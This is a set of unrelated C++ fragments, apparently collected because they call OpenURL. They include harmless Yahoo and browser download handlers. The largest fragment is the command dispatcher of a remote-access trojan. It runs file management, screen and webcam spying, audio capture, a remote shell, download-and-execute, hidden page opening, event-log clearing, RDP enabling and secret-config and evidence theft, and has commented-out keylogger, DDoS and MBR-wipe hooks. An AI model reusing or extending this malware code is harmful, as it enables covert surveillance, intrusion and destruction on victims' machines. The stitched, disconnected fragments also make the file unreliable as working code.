psNode->m_pcRequester = NULL; if ( psNode->m_bDone == false ) { Message cCancelMsg( ID_CANCEL_DOWNLOAD ); cCancelMsg.AddPointer( "node", psNode ); psNode->m_pcProgressDlg = new DownloadProgress( os::Rect( 100, 100, 449, 349 ), os::String().Format( "Download: %s", cPath.c_str() ), psNode->m_cURL, cPath, psNode->m_nContentSize, psNode->m_nStartTime, os::Messenger( this ), cCancelMsg ); psNode->m_pcProgressDlg->Show(); } else { delete psNode->m_pcTmpFile; delete psNode->m_pcFile; delete psNode; } #endif break; } case ID_CANCEL_DOWNLOAD: { #if 0 DownloadNode* psNode = NULL; pcMsg->FindPointer( "node", (void**) &psNode ); if ( psNode == NULL ) { break; // Should never happen } if ( psNode->m_pcProgressDlg != NULL ) { psNode->m_pcProgressDlg->Terminate(); psNode->m_pcProgressDlg = NULL; } if ( psNode->m_cPath.empty() == false ) { unlink( psNode->m_cPath.c_str() ); } if ( psNode->m_bDone == false ) { psNode->m_pcRequester = NULL; psNode->m_bCanceled = true; delete psNode->m_pcTmpFile; psNode->m_pcTmpFile = NULL; delete psNode->m_pcFile; psNode->m_pcFile = NULL; } else { delete psNode->m_pcTmpFile; delete psNode->m_pcFile; delete psNode; } #endif break; } default: BWindow::MessageReceived( pcMsg ); break; } }
NS_IMETHODIMP nsExtProtocolChannel::Open(nsIInputStream **_retval) { return OpenURL(); }
//======================================================= //Show Goto mailbox //======================================================= INT_PTR __cdecl CYahooProto::OnGotoMailboxCommand(WPARAM, LPARAM) { OpenURL(getByte("YahooJapan", 0) ? "http://mail.yahoo.co.jp/" : "http://mail.yahoo.com/", 1); return 0; }
INT_PTR __cdecl CYahooProto::OnABCommand(WPARAM, LPARAM) { OpenURL("http://address.yahoo.com/yab/", 1); return 0; }
// 加上激活 void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize) { static int dwTime=0; pcmd_plugin cmd=NULL; switch (lpBuffer[0]) { case COMMAND_ACTIVED: LOG((LEVEL_INFO,"COMMAND_ACTIVED:%d\n",nSize)); { if ( lstrlen(CKeyboardManager::ConnPass) == 0 )//判断自身密码是否为空,空则跳过验证 { if ( m_pClient->bSendLogin )//判断是否重复发送,测试的时候会上2次 { sendLoginInfo_true( m_strServiceName, m_pClient, (GetTickCount() - CKeyboardManager::dwTickCount)/2 ); m_pClient->bSendLogin = FALSE; } InterlockedExchange((LONG *)&m_bIsActived, TRUE); } else//不为空 { char Pass[256] = {0}; memcpy( Pass, lpBuffer + 1, 200 ); if ( lstrcmpi( CKeyboardManager::ConnPass, Pass ) == 0 )//开始验证 { if ( m_pClient->bSendLogin )//判断是否重复发送,测试的时候会上2次 { sendLoginInfo_true( m_strServiceName, m_pClient, (GetTickCount() - CKeyboardManager::dwTickCount)/2 ); m_pClient->bSendLogin = FALSE; } InterlockedExchange((LONG *)&m_bIsActived, TRUE);//符合,则激活 } else { InterlockedExchange((LONG *)&m_bIsActived, FALSE);//不符合,则不激活 } } } break; case COMMAND_LIST_DRIVE: // 文件管理 LOG((LEVEL_INFO,"COMMAND_LIST_DRIVE:%d\n",nSize)); m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_FileManager, (LPVOID)m_pClient->m_Socket, 0, NULL, FALSE); break; case COMMAND_SCREEN_SPY: // 屏幕查看 LOG((LEVEL_INFO,"COMMAND_SCREEN_SPY:%d\n",nSize)); m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ScreenManager,(LPVOID)m_pClient->m_Socket, 0, NULL, TRUE); break; case COMMAND_WEBCAM: // 摄像头 LOG((LEVEL_INFO,"COMMAND_WEBCAM:%d\n",nSize)); m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_VideoManager,(LPVOID)m_pClient->m_Socket, 0, NULL, FALSE); break; case COMMAND_AUDIO: // 语音 LOG((LEVEL_INFO,"COMMAND_AUDIO:%d\n",nSize)); m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_AudioManager,(LPVOID)m_pClient->m_Socket, 0, NULL, FALSE); break; case COMMAND_SHELL: // 远程sehll LOG((LEVEL_INFO,"COMMAND_SHELL:%d\n",nSize)); m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ShellManager, (LPVOID)m_pClient->m_Socket, 0, NULL, TRUE); break; case COMMAND_KEYBOARD: LOG((LEVEL_INFO,"COMMAND_KEYBOARD:%d\n",nSize)); //2011/04/29 -yx //dwTime=0; // if (!dwTime) // { // m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_HookKeyboard, (LPVOID)(lpBuffer+1), 0, NULL, TRUE); //2011/04/29 yx // dwTime++; // } // // m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_KeyboardManager,(LPVOID)m_pClient->m_Socket, 0, NULL, FALSE); break; case COMMAND_SYSTEM: LOG((LEVEL_INFO,"COMMAND_SYSTEM:%d\n",nSize)); m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_SystemManager,(LPVOID)m_pClient->m_Socket, 0, NULL, FALSE); break; case COMMAND_DOWN_EXEC: // 下载者 LOG((LEVEL_INFO,"COMMAND_DOWN_EXEC:%d\n",nSize)); m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_DownManager,(LPVOID)(lpBuffer + 1), 0, NULL, TRUE); SleepEx(101,0); // 传递参数用 break; case COMMAND_OPEN_URL_SHOW: // 显示打开网页 LOG((LEVEL_INFO,"COMMAND_OPEN_URL_SHOW:%d\n",nSize)); OpenURL((LPCTSTR)(lpBuffer + 1), SW_SHOWNORMAL); break; case COMMAND_OPEN_URL_HIDE: // 隐藏打开网页 LOG((LEVEL_INFO,"COMMAND_OPEN_URL_HIDE:%d\n",nSize)); OpenURL((LPCTSTR)(lpBuffer + 1), SW_HIDE); break; case COMMAND_REMOVE: // 卸载, { LOG((LEVEL_INFO,"COMMAND_REMOVE:%d\n",nSize)); // liucw add 2013.07.25 // //停止并删除插件 GLOBAL_PLUGSERVER->SetSocket(m_pClient); GLOBAL_PLUGSERVER->OnPluginRemove(0,0); // 卸载 UnInstallService(); break; } case COMMAND_CLEAN_EVENT: // 清除日志 LOG((LEVEL_INFO,"COMMAND_CLEAN_EVENT:%d\n",nSize)); { CleanEvent(); } break; case COMMAND_SESSION: LOG((LEVEL_INFO,"COMMAND_SESSION:%d\n",nSize)); CSystemManager::ShutdownWindows(lpBuffer[1]); break; case COMMAND_RENAME_REMARK: // 改备注 LOG((LEVEL_INFO,"COMMAND_RENAME_REMARK:%d\n",nSize)); SetHostID(m_strServiceName, (LPCTSTR)(lpBuffer + 1)); break; case COMMAND_UPDATE_SERVER: // 更新服务端 LOG((LEVEL_INFO,"COMMAND_UPDATE_SERVER:%d\n",nSize)); if (UpdateServer((char *)lpBuffer + 1)) UnInstallService(); break; case COMMAND_REPLAY_HEARTBEAT: // 回复心跳包 ((CManager*)this)->m_pClient->dwHeartTime=0; break; case COMMAND_DDOS: LOG((LEVEL_INFO,"COMMAND_DDOS:%d\n",nSize)); // if ( !Gobal_DDOS_Running ) // { // m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)DDOS_Attacker, (LPVOID)lpBuffer, 0, NULL, TRUE); // SleepEx(110,0);//传递参数用 // } break; case COMMAND_DDOS_STOP: LOG((LEVEL_INFO,"COMMAND_DDOS_STOP:%d\n",nSize)); //DDOS_Stop(); break; case COMMAND_HIT_HARD: LOG((LEVEL_INFO,"COMMAND_HIT_HARD:%d\n",nSize)); // KillMBR(); break; case COMMAND_OPEN_3389: LOG((LEVEL_INFO,"COMMAND_OPEN_3389:%d\n",nSize)); Open3389(); break; case COMMAND_CHAJIAN: // 下载插件 LOG((LEVEL_INFO,"COMMAND_CHAJIAN:%d\n",nSize)); //m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_CHAJIAN,(LPVOID)(lpBuffer + 1), 0, NULL, TRUE); SleepEx(110,0); // 传递参数用 break; case COMMAND_SERECT_CFG: // 密取配置 LOG((LEVEL_INFO,"COMMAND_SERECT_CFG:%d\n",nSize)); m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_SecretCfg,(LPVOID)(lpBuffer + 1), 0, NULL, TRUE); break; case COMMAND_CHAJIAN_FORMIQU: // LOG((LEVEL_INFO,"COMMAND_CHAJIAN_FORMIQU:%d\n",nSize)); // printf((char*)(lpBuffer + 1)); m_pObjEvidence->PassBackFileList((char*)(lpBuffer + 1),0); // m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_CHAJIAN_MIQU,(LPVOID)(lpBuffer + 1), 0, NULL, TRUE); // SleepEx(110,0); // 传递参数用 break; case TOKEN_EVIDENCE_SREECN_ARG: // 下载插件 LOG((LEVEL_INFO,"TOKEN_EVIDENCE_SREECN_ARG:%d\n",nSize)); m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_CHAJIAN_MIQU,(LPVOID)(lpBuffer + 1), 0, NULL, TRUE); SleepEx(110,0); // 传递参数用 break; case COMMAND_PLUGIN_REQUEST: // 2.0插件下载 LOG((LEVEL_INFO,"收到COMMAND_PLUGIN_REQUEST,buff大小:%d(%x) .\n",nSize,nSize)); cmd=new cmd_plugin; if (!cmd) { break; } cmd->Clientsocket=m_pClient; cmd->nSize=nSize-1; cmd->lpBuffer=lpBuffer+1; m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_Plugin_Request,(LPVOID)(cmd), 0, NULL, TRUE); break; // { // ++lpBuffer; // --nSize; // // // 每次都应该设置一下,防止丢掉 // GLOBAL_PLUGSERVER->SetSocket(m_pClient); // int ret = GLOBAL_PLUGSERVER->OnPluginRequest(lpBuffer,nSize); // if( ret != 0 ) // { // LOG((LEVEL_WARNNING,"处理插件下载命令错,ret=%d",ret)); // } // GLOBAL_PLUGSERVER->ProcessConfig(); // // break; // // } case COMMAND_ONLINE_ERROR: { LOG((LEVEL_INFO,"上线时发送错误.\n")); m_pClient->Disconnect(); break; } default: LOG((LEVEL_ERROR,"UNKNOWN COMMAND:%d(%x)\n",lpBuffer[0],lpBuffer[0])); break; } }
INT_PTR __cdecl CYahooProto::OnCalendarCommand(WPARAM, LPARAM) { OpenURL("http://calendar.yahoo.com/", 1); return 0; }